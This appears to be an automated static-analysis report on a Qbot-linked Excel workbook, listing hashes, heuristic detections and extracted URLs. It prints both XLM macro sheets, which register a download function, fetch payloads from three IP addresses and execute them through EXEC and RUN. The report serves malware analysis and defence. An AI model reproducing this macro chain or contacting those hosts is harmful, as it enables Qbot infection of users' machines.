Qbot — Office (OOXML) malware analysis

Static analysis result for SHA-256 d70f0342cf310eb8…

MALICIOUS

Office (OOXML)

150.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-30
MD5: 1c50eb7f4f8230cf657bbb6d6e089321 SHA-1: 96409613b2d9e7eabb940561ffa10a14694c20ea SHA-256: d70f0342cf310eb817bb8b89774597b2f7394116a49b80b395c336e4e5eb4be5
250 Risk Score

Malware Insights

Qbot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like REGISTER and EXEC to download and execute a second-stage payload from the URL http://185.240.103.219/. The file is detected by ClamAV as Xls.Downloader.Qbot06210-9875009-0, indicating a likely Qbot family infection.

Heuristics 6

  • ClamAV: Xls.Downloader.Qbot06210-9875009-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Qbot06210-9875009-0
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, RUN, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.240.103.219/ In document text (OOXML body / shared strings)
    • http://190.14.37.3/In document text (OOXML body / shared strings)
    • http://185.183.99.120/In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2446 bytes
SHA-256: c2e527cd52b125c07092c59d33090fc3ad9446b4f94b7ce503dfd27afbab14e6
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="F8:H25"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="5" width="9.140625" style="1"/><col min="6" max="6" width="27.5703125" style="1" customWidth="1"/><col min="7" max="7" width="36.7109375" style="1" customWidth="1"/><col min="8" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="8" spans="6:8" x14ac:dyDescent="0.25"><c r="G8" s="1" t="str"><f>NOW()&amp;H8</f><v>44372,548321875</v></c><c r="H8" s="1" t="s"><v>3</v></c></row><row r="12" spans="6:8" x14ac:dyDescent="0.25"><c r="G12" s="1" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="6:8" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>"http://185.240.103.219/"</f><v>http://185.240.103.219/</v></c><c r="G13" s="1" t="e"><f>Jerutyg(0,F13&amp;G8,"..\Kro.fis",0,0)</f><v>#NAME?</v></c></row><row r="14" spans="6:8" x14ac:dyDescent="0.25"><c r="F14" s="1" t="str"><f>"http://190.14.37.3/"</f><v>http://190.14.37.3/</v></c><c r="G14" s="1" t="e"><f>Jerutyg(0,F14&amp;G8,"..\Kro.fis1",0,0)</f><v>#NAME?</v></c></row><row r="15" spans="6:8" x14ac:dyDescent="0.25"><c r="F15" s="1" t="str"><f>"http://185.183.99.120/"</f><v>http://185.183.99.120/</v></c><c r="G15" s="1" t="e"><f>Jerutyg(0,F15&amp;G8,"..\Kro.fis2",0,0)</f><v>#NAME?</v></c></row><row r="25" spans="7:7" x14ac:dyDescent="0.25"><c r="G25" s="1" t="b"><f>RUN(Sheet4!I9)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1747 bytes
SHA-256: 38e9b51fd3cb35b28d5fe40b15ffb8f20ea947b6b435c697e9aa5042231a0b8a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{348FF88C-42DC-4DD2-8614-4EF4426F94E1}"><dimension ref="I16:I23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="8" width="9.140625" style="1"/><col min="9" max="9" width="14.5703125" style="1" bestFit="1" customWidth="1"/><col min="10" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="16" spans="9:9" x14ac:dyDescent="0.25"><c r="I16" s="1" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="17" spans="9:9" x14ac:dyDescent="0.25"><c r="I17" s="1" t="b"><f>EXEC(Sheet2!O22&amp;"1")</f><v>0</v></c></row><row r="18" spans="9:9" x14ac:dyDescent="0.25"><c r="I18" s="1" t="b"><f>EXEC(Sheet2!O22&amp;"2")</f><v>0</v></c></row><row r="23" spans="9:9" x14ac:dyDescent="0.25"><c r="I23" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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